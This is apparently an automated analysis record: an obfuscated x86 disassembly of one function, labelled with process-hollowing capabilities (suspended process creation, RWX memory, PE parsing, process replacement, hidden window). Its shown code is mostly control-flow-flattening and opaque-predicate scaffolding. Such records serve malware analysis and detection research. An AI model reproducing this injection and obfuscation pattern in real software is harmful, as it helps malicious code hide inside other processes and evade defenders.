Function at 0x1000a130
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x138
mov eax, dword [0x10076800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0xc2a07375
sub edx, 1
sub edx, 0xc2a07375
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x13a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x139], al
mov dword [ebp - 0x140], 0xd192f484
mov eax, dword [ebp - 0x140]
mov dword [ebp - 0x144], eax
sub eax, 0x804643f4
je 0x1000e4ca
jmp 0x1000a1ab
mov eax, dword [ebp - 0x144]
sub eax, 0x8092a480
je 0x1000f222
jmp 0x1000a1c1
mov eax, dword [ebp - 0x144]
sub eax, 0x80a52118
je 0x10013534
jmp 0x1000a1d7
mov eax, dword [ebp - 0x144]
sub eax, 0x80d5a0c9
je 0x100113c7
jmp 0x1000a1ed
mov eax, dword [ebp - 0x144]
sub eax, 0x811403d0
je 0x100122ff
jmp 0x1000a203
mov eax, dword [ebp - 0x144]
sub eax, 0x814f77a0
je 0x10018743
jmp 0x1000a219
mov eax, dword [ebp - 0x144]
sub eax, 0x8250b10b
je 0x1001039e
jmp 0x1000a22f
mov eax, dword [ebp - 0x144]
sub eax, 0x825cab40
je 0x1001910d
jmp 0x1000a245
mov eax, dword [ebp - 0x144]
sub eax, 0x825f486c
je 0x1001484b
jmp 0x1000a25b
mov eax, dword [ebp - 0x144]
sub eax, 0x82ae2689
je 0x10014ba0
jmp 0x1000a271
mov eax, dword [ebp - 0x144]
sub eax, 0x82b1b0ab
je 0x10010d5a
jmp 0x1000a287
mov eax, dword [ebp - 0x144]
sub eax, 0x83098803
je 0x10017879
jmp 0x1000a29d
mov eax, dword [ebp - 0x144]
sub eax, 0x8328cd53
je 0x100163bf
jmp 0x1000a2b3
mov eax, dword [ebp - 0x144]
sub eax, 0x833e00cb
je 0x1001807d
jmp 0x1000a2c9
mov eax, dword [ebp - 0x144]
sub eax, 0x833f455a
je 0x1001230e
jmp 0x1000a2df
mov eax, dword [ebp - 0x144]
sub eax, 0x83a0d532
je 0x10018bc5
jmp 0x1000a2f5
mov eax, dword [ebp - 0x144]
sub eax, 0x83e13510
je 0x100190fb
jmp 0x1000a30b
mov eax, dword [ebp - 0x144]
sub eax, 0x841c1ab4
je 0x10014fc4
jmp 0x1000a321
mov eax, dword [ebp - 0x144]
sub eax, 0x843faa26
je 0x100192be
jmp 0x1000a337
mov eax, dword [ebp - 0x144]
sub eax, 0x84ff63a1
je 0x10015294
jmp 0x1000a34d
mov eax, dword [ebp - 0x144]
sub eax, 0x85f7dcc2
je 0x10014996
jmp 0x1000a363
mov eax, dword [ebp - 0x144]
sub eax, 0x862a2fd7
je 0x10016351
jmp 0x1000a379
mov eax, dword [ebp - 0x144]
sub eax, 0x8636349a
je 0x1000f1f2
jmp 0x1000a38f
mov eax, dword [ebp - 0x144]
sub eax, 0x86ca9bc5
je 0x10013463
jmp 0x1000a3a5
mov eax, dword [ebp - 0x144]
sub eax, 0x87cce239
je 0x10016cc0
jmp 0x1000a3bb
mov eax, dword [ebp - 0x144]
sub eax, 0x87d1467e
je 0x10019122
jmp 0x1000a3d1
mov eax, dword [ebp - 0x144]
sub eax, 0x88845298
je 0x1000f0a7
jmp 0x1000a3e7
mov eax, dword [ebp - 0x144]
sub eax, 0x888f89e2
je 0x10016e84
jmp 0x1000a3fd
mov eax, dword [ebp - 0x144]
sub eax, 0x889f2345
je 0x10010704
jmp 0x1000a413
mov eax, dword [ebp - 0x144]
sub eax, 0x893afc15
je 0x1001731b
jmp 0x1000a429
mov eax, dword [ebp - 0x144]
sub eax, 0x897142d9
je 0x10017825
jmp 0x1000a43f
mov eax, dword [ebp - 0x144]
sub eax, 0x8979f979
je 0x1001419f
jmp 0x1000a455
mov eax, dword [ebp - 0x144]
sub eax, 0x89a8937b
je 0x10011561
jmp 0x1000a46b
mov eax, dword [ebp - 0x144]
sub eax, 0x8a4925a8
je 0x10012acd
jmp 0x1000a481
mov eax, dword [ebp - 0x144]
sub eax, 0x8a5ff4aa
je 0x1001363b
jmp 0x1000a497
mov eax, dword [ebp - 0x144]
sub eax, 0x8a654e3f
je 0x1000e5fa
jmp 0x1000a4ad
mov eax, dword [ebp - 0x144]
sub eax, 0x8a919658
je 0x1001202c
jmp 0x1000a4c3
mov eax, dword [ebp - 0x144]
sub eax, 0x8a956131
je 0x1001125f
jmp 0x1000a4d9
mov eax, dword [ebp - 0x144]
sub eax, 0x8ac35737
je 0x1000edb5
jmp 0x1000a4ef
mov eax, dword [ebp - 0x144]
sub eax, 0x8b842e47
je 0x100150ac
jmp 0x1000a505
mov eax, dword [ebp - 0x144]
sub eax, 0x8c0bcf49
je 0x10014e7d
jmp 0x1000a51b
mov eax, dword [ebp - 0x144]
sub eax, 0x8c6706c4
je 0x1000f761
jmp 0x1000a531
mov eax, dword [ebp - 0x144]
sub eax, 0x8eb309e0
je 0x1001853c
jmp 0x1000a547
mov eax, dword [ebp - 0x144]
sub eax, 0x8f056a1e
je 0x1000f005
jmp 0x1000a55d
mov eax, dword [ebp - 0x144]
sub eax, 0x8f05d57e
je 0x10011edf
jmp 0x1000a573
mov eax, dword [ebp - 0x144]
sub eax, 0x8f0c9903
je 0x10017403
jmp 0x1000a589
mov eax, dword [ebp - 0x144]
sub eax, 0x8f5f0589
je 0x1000f702
jmp 0x1000a59f
mov eax, dword [ebp - 0x144]
sub eax, 0x8f82fefd
je 0x1000fea8
jmp 0x1000a5b5
mov eax, dword [ebp - 0x144]
sub eax, 0x9097a012
je 0x1000ec93
jmp 0x1000a5cb
mov eax, dword [ebp - 0x144]
sub eax, 0x90a571fb
je 0x1000e7bb
jmp 0x1000a5e1
mov eax, dword [ebp - 0x144]
sub eax, 0x912f5a49
je 0x10018acf
jmp 0x1000a5f7
mov eax, dword [ebp - 0x144]
sub eax, 0x93240f0c
je 0x100157aa
jmp 0x1000a60d
mov eax, dword [ebp - 0x144]
sub eax, 0x93e4bc2d
je 0x1001253b
jmp 0x1000a623
mov eax, dword [ebp - 0x144]
sub eax, 0x9407f6aa
je 0x10016868
jmp 0x1000a639
mov eax, dword [ebp - 0x144]
sub eax, 0x942d9d02
je 0x1001447c
jmp 0x1000a64f
mov eax, dword [ebp - 0x144]
sub eax, 0x943c512b
je 0x10015e22
jmp 0x1000a665
mov eax, dword [ebp - 0x144]
sub eax, 0x9476147a
je 0x10013d2c
jmp 0x1000a67b
mov eax, dword [ebp - 0x144]
sub eax, 0x94f5fb2c
je 0x1001866e
jmp 0x1000a691
mov eax, dword [ebp - 0x144]
sub eax, 0x956aa886
je 0x10010cae
jmp 0x1000a6a7
mov eax, dword [ebp - 0x144]
sub eax, 0x95729573
je 0x10017b3a
jmp 0x1000a6bd
mov eax, dword [ebp - 0x144]
sub eax, 0x95a30b1f
je 0x10010ff7
jmp 0x1000a6d3
mov eax, dword [ebp - 0x144]
sub eax, 0x95a66bda
je 0x10018899
jmp 0x1000a6e9
mov eax, dword [ebp - 0x144]
sub eax, 0x95ad9718
je 0x10012a7c
jmp 0x1000a6ff
mov eax, dword [ebp - 0x144]
sub eax, 0x95ca552c
je 0x100164e9
jmp 0x1000a715
mov eax, dword [ebp - 0x144]
sub eax, 0x965b675f
je 0x10012b58
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
push eax
mov eax, esp
mov dword [ebp - 0x118], eax
push eax
mov eax, esp
mov dword [ebp - 0x114], eax
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0x8c2ab3d1
sub edx, 1
sub edx, 0x8c2ab3d1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd8ef81b0
mov ecx, 0xd8ecd27b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xe8], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x100267ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x100267e8]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xdb72f79c
jmp 0x10019353
mov dl, 1
mov eax, 0xb881983
mov ecx, 0xa1ffdcd8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10026504]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x10026500]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe94e3ae1
mov ecx, 0xfb403d0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
add edx, 0xe67bcf07
sub edx, 1
sub edx, 0xe67bcf07
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6b63211d
mov ecx, 0xcdce28b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0x41cf1f3d
jmp 0x10019353
mov eax, dword [ebp - 0x138]
movss xmm0, dword [0x100264f4]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0xcb936e29
sub edx, 1
add edx, 0xcb936e29
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2d932915
mov ecx, 0xd114eee7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0xd2936bb7
jmp 0x10019353
mov dl, 1
mov eax, 0xd8765ba1
mov ecx, 0xc881a5de
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dl, 1
mov eax, 0x8c6706c4
mov ecx, 0xa60c7805
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0x134]
movss xmm0, dword [0x100267b0]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x14676199
jmp 0x10019353
mov eax, dword [ebp - 0x130]
movss xmm0, dword [0x1002677c]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x49a03ac5
jmp 0x10019353
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10026758]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x11986569
jmp 0x10019353
mov eax, dword [ebp - 0x12c]
movss xmm0, dword [0x10026744]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xaab76b8b
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5323d56a
mov ecx, 0xc9316714
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0x128]
movss xmm0, dword [0x10026710]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x666af7b1
jmp 0x10019353
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100264a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100264a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100264a0]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
add edx, 0x1f04f95c
sub edx, 1
sub edx, 0x1f04f95c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94f5fb2c
mov ecx, 0x9a774aa9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0x6f3e313d
sub edx, 1
add edx, 0x6f3e313d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa46cf29e
mov ecx, 0x6bf314e8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0x9740760d
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4c59c624
mov ecx, 0xb7cc255c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0xa499504d
jmp 0x10019353
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd71d45e1
mov ecx, 0xb33d3f1e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0x833f455a
jmp 0x10019353
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10026690]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x128fd561
jmp 0x10019353
mov dword [ebp - 0x140], 0x440a54ea
jmp 0x10019353
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0x430cdf9c
sub edx, 1
add edx, 0x430cdf9c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6bc85c5
mov ecx, 0x8a4925a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1002645c]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf6bc85c5
mov ecx, 0x8941ef1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0x34428c05
jmp 0x10019353
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10026620]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x1002661c]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x710c2375
mov ecx, 0x123a3e74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0xde368f94
jmp 0x10019353
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10026424]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10026420]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1002641c]
movss dword [eax], xmm0
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe1bf4126
mov ecx, 0xe2810b4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0x88c18ef5
sub edx, 1
sub edx, 0x88c18ef5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1a0c193d
mov ecx, 0x116d38d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100265e0]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xc600a275
jmp 0x10019353
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100265ac]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0xeb5e0f5c
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0xdeae8a3c
sub edx, 1
sub edx, 0xdeae8a3c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x601648d2
mov ecx, 0x7fa372af
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4057b365
mov ecx, 0xd362a4d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0xe04f46c0
jmp 0x10019353
mov dword [ebp - 0x140], 0x3c9ab808
jmp 0x10019353
mov dword [ebp - 0x140], 0x1ac79a48
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa0858e6
mov ecx, 0x28a6b550
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100263e0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100263dc]
movss dword [eax], xmm0
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6480dae1
mov ecx, 0xddaf1a65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1002653c]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x5d624fe7
jmp 0x10019353
mov dword [ebp - 0x140], 0x3a4506b8
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
sub edx, 0x4a7aafa2
sub edx, 1
add edx, 0x4a7aafa2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6bf6f63b
mov ecx, 0x2c7d95b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
mov edx, eax
sub edx, 0xe98fecf6
sub edx, 1
add edx, 0xe98fecf6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x74919e28
mov ecx, 0x4fcb992e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0xe8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1001a840
add esp, 0xc
mov eax, dword [ebp - 0xe4]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1001a840
add esp, 0xc
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x140], 0x815380f
jmp 0x10019353
mov dword [ebp - 0x140], 0x5c3c6a8b
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
sub edx, 0xacee0a72
sub edx, 1
add edx, 0xacee0a72
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x70f4145b
mov ecx, 0xc7ae39d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x140], 0x34c85621
jmp 0x10019353
mov eax, dword [0x10077b28]
mov ecx, dword [0x10077b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x825cab40
mov ecx, 0x9df2bc50
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0x1e00d2e9
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0x27e4ed91
sub edx, 1
sub edx, 0x27e4ed91
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xefe4bf62
mov ecx, 0xce5ffb47
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov ecx, dword [0x10077b28]
mov eax, dword [0x10077b24]
mov edx, ecx
add edx, 0xb687252b
sub edx, 1
sub edx, 0xb687252b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x96694ea3
mov ecx, 0x3c55cdbc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x140], eax
jmp 0x10019353
mov dword [ebp - 0x140], 0xc06168f7
jmp 0x10019353
mov dword [ebp - 0x140], 0x2fe4b9dd
jmp 0x10019353
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100264a8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100264a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100264a0]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x95a30b1f
jmp 0x10019353
mov dword [ebp - 0x140], 0x64603e28
jmp 0x10019353
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1002646c]
movss dword [eax], xmm0
mov dword [ebp - 0x140], 0x27fc301a
jmp 0x10019353
mov dword [ebp - 0x140], 0xda90bd1b
jmp 0x10019353
mov dword [ebp - 0x140], 0x585b7865
jmp 0x10019353
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x140], 0xc74d3b49
jmp 0x10019353
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x140], 0x9df2bc50
jmp 0x10019353
mov dword [ebp - 0x140], 0x69fd6314
jmp 0x10019353
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
